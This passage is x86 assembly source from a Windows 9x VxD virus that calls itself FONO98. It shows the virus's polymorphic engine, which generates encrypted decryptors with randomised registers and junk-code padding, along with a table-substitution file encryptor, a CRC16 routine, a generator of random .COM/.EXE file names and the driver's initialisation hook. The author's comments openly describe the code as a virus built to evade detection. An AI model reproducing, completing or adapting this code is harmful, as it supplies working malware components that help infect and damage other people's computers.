call rnd255 ;randomize table
mov ebx, eax
call rnd255
mov dl, byte ptr [edi+ebx]
xchg dl, byte ptr [edi+eax] ;keep exchanging some bytes
mov byte ptr [edi+ebx], dl
loop tlp2
pop edi
mov [reg32], 00010000b ;set esp as used
call garble32
mov [reg32], 00110000b ;set esp/ebp as used
call get8reg
mov [tmp], eax
call get32_16reg
mov [tpointer], eax
call get32_16reg
mov [dpointer], eax
call get32_16reg
mov [tmp2], eax
call get32_16reg
mov [counter], eax ;choose regs
call garble32
push offset32 mdecr ;return adress
mov ebp, offset32 mcounter
mov ebx, offset32 mpointer
mov edx, offset32 mdpointer
call rnd
and eax, 0111b
inc eax
mov ecx, eax
mixer1:
call rndf
jc m11
xchg ebp, ebx
m11:
call rndf
jc m12
xchg edx, ebx
m12:
call rndf
jc m13
xchg edx, ebp
m13:
loop mixer1 ;randomize calling order
push ebp
push ebx
push edx
ret
mdecr:
mov [lstart], edi
call garble32
mov ax, 1011011000001111b
stosw ;movzx d tmp2, [reg1+reg2]
mov eax, [tmp2]
shl eax, 3
or al, 100b
stosb
mov eax, [tpointer]
shl eax, 3
or eax, [dpointer]
stosb
push eax
call garble32
mov al, 10001010b
stosb ;mov b tmp, [reg1+tmp2]
mov eax, [tmp]
shl eax, 3
or al, 100b
stosb
push eax
mov eax, [tpointer]
shl eax, 3
mov ebx, [tmp2]
or eax, ebx
stosb
mov al, 10001000b
stosb ;mov b [reg1+reg2], tmp
pop eax
stosb
pop eax
stosb
call garble32
push offset32 mcontinue
mov ebx, offset32 inc_pointer
mov edx, offset32 dec_counter
call rndf
jc m2
xchg edx, ebx ;randomize order
m2:
push ebx
push edx
ret
mcontinue:
call garble32
mov al, 0bh
stosb
mov eax, [counter]
shl eax, 3
or eax, [counter]
or al, 11000000b
stosb ;or reg, reg
mov eax, 850fh
stosw
mov eax, [lstart] ;386+ jne
sub eax, edi
sub eax, 4
stosd
mov [reg32], 00010000b ;set esp as used
call garble32
call garble32
mov ecx, edi
sub ecx, [tblstrt] ;calculate start of code
mov esi, [pmdptr] ;to decript(delta-based)
mov [esi], ecx
pop edx
mov ecx, edi
sub ecx, edx ;exit with correct regs
ret
inc_pointer:
mov eax, 40h ;inc
or eax, [dpointer]
stosb
call garble32
ret
dec_counter:
mov eax, 48h ;dec
or eax, [counter]
stosb
call garble32
ret
mcounter:
mov eax, 0b8h ;mov
or eax, [counter]
stosb
mov eax, [totsize]
stosd
call garble32
ret
mpointer:
mov al, 0e8h
stosb
mov ecx, 255+1
mov eax, ecx
stosd ;do call
mov [tblstrt], edi
mov esi, offset32 crptbl
rep movsb ;zopy table
mov eax, 58h ;do pop
or eax, [tpointer]
stosb
call garble32
ret
mdpointer:
mov eax, 0b8h ;mov
or eax, [dpointer]
stosb
mov [pmdptr], edi
stosd
call garble32
ret
gar:
call rnd ;get any reg
and eax, 0111b
cmp al, 4 ;sp never
je gar
ret
get32_16reg: ;get a free 32/16bit reg
call gar
bts [reg32], eax
jc get32_16reg
ret
get8reg: ;get a free 8bit reg
call rnd ;al,cl,dl,bl
and eax, 0011b
bts [reg32], eax
jc get8reg
call rndf
jc ntg
or al, 0100b ;ah,ch,dh,bh
ntg:
ret
garble32:
pushad
cmp byte ptr [rlevel], 3
je maxr
inc byte ptr [rlevel]
call rnd
and eax, 0111b
mov ecx, eax
inc ecx
ng32:
push ecx
call rnd
and eax, 01111b
shl eax, 2
add eax, offset32 gtbl
call dword ptr [eax]
pop ecx
loop ng32
dec byte ptr [rlevel]
maxr:
mov dword ptr [esp], edi ;change stack copy of edi
popad
ret
gtbl equ this byte
dd offset32 subr ;silly garblers :(
dd offset32 subr
dd offset32 jmps
dd offset32 jmps
dd offset32 jmps
dd offset32 jmps ;no time to code good ones...
dd offset32 jcc
dd offset32 jcc
dd offset32 jcc
dd offset32 jcc
dd offset32 calls
dd offset32 calls
dd offset32 calls
dd offset32 calls
dd offset32 calls
dd offset32 calls
jcc:
call rnd ;do jump conditional with
and eax, 0fh ;real displacement(no shitty
or eax, 0f80h ;$+2 thingie)
xchg al, ah
stosw
stosd
push edi
call garble32
pop esi
mov ecx, edi
sub ecx, esi
mov dword ptr [esi-4], ecx
ret
jmps:
mov al, 0e9h ;do jump
stosb
stosd
push edi
call rnd
and eax, 0111b
inc eax
mov ecx, eax
njnk:
call rnd ;fill with junk
stosb
loop njnk
pop esi
mov ecx, edi
sub ecx, esi
mov dword ptr [esi-4], ecx
ret
subr: ;make call to subroutine
cmp dword ptr [subad], 0
jz ncall ;a subroutine was coded?
mov al, 0e8h
stosb
mov eax, edi
sub eax, dword ptr [subad] ;calc subr address
add eax, 4
neg eax
stosd
ncall:
ret
calls:
cmp dword ptr [subad], 0 ;make subroutine
jne ncall
mov al, 0e9h ;the old thing...
stosb
stosd ;jump @@1
push edi ;@@2:
call garble32 ;*garbage*
mov al, 0c3h ;*garbage*
stosb ;ret
pop esi ;@@1:
mov ecx, edi
sub ecx, esi
mov dword ptr [esi-4], ecx
mov dword ptr [subad], esi ;store sub address
ret
rnd255:
call rnd
and eax, 011111111b
ret
encript_pe:
pushad
mov ecx, dword ptr [totsize] ;our poly engine isnt a
mov ebx, offset32 crptbl ;cyclical decriptor using
ecrt: ;xor/add/sub or like...
lodsb
push ecx ;we use a substitution scheme,
push edi ;based in a table... This way,
mov ecx, 100h ;'A'=='2' '#'=='x' and so...
mov edi, ebx ;no virus i know use this
repne scasb
dec edi
sub edi, ebx
mov eax, edi ;eax hold offset into table
pop edi
pop ecx
stosb
loop ecrt
mov [esp], edi ;setup edi copy in stack
popad
ret
subad dd 0
rlevel db 0
tmp dd 0
tmp2 dd 0
tpointer dd 0
dpointer dd 0
counter dd 0
pmdptr dd 0
tblstrt dd 0
lstart dd 0
reg32 dd 0
totsize dd 0
BeginProc CRC16
push ebx
push ecx
mov ebx, 0a001h
mov edi, offset32 CrcTab
xor edx, edx
crc16nb:
mov ax, dx
mov cx, 8
crc16l:
shr ax, 1
jae crc16sk
xor ax, bx
crc16sk:
loop crc16l
stosw ;make da table
inc edx
cmp edx, 512
jne crc16nb
pop ecx
xor eax, eax
CRC16Loop:
xor ebx, ebx
mov bl, al
lodsb
xor bl, al
shl bx, 1
mov bx, word ptr [CrcTab+bx] ;make CRC16 of it
xor bl, ah
mov eax, ebx
loop CRC16Loop
pop ebx
ret
EndProc CRC16
BeginProc Random4Name
mov dword ptr [edi], 'AAAA' ;setup base name
mov ecx, 4
in al, 40h
mov ah, al
NextLetter:
in al, 40h
xor al, ah
mov ah, al
and al, 01111b
add byte ptr [edi], al ;add random values to make
inc edi ;random letter, to obtain a
loop NextLetter ;random name! :)
in al, 40h
cmp al, 80h
mov eax, 12345678h
org $-4
db '.', 'C', 'O', 'M'
jb PutThisOne ;put a .COM extension
mov eax, 12345678h
org $-4
db '.', 'E', 'X', 'E'
PutThisOne:
mov [edi], eax ;or a .EXE one
ret
EndProc Random4Name
BeginProc FONO98_Control
Control_Dispatch Init_Complete, FONO98_Device_Init
clc ;our init procedure...
ret ;other virus wait for more
EndProc FONO98_Control ;calls... but i did only this
;one and it worked, so...
VxD_Locked_Code_Ends
End
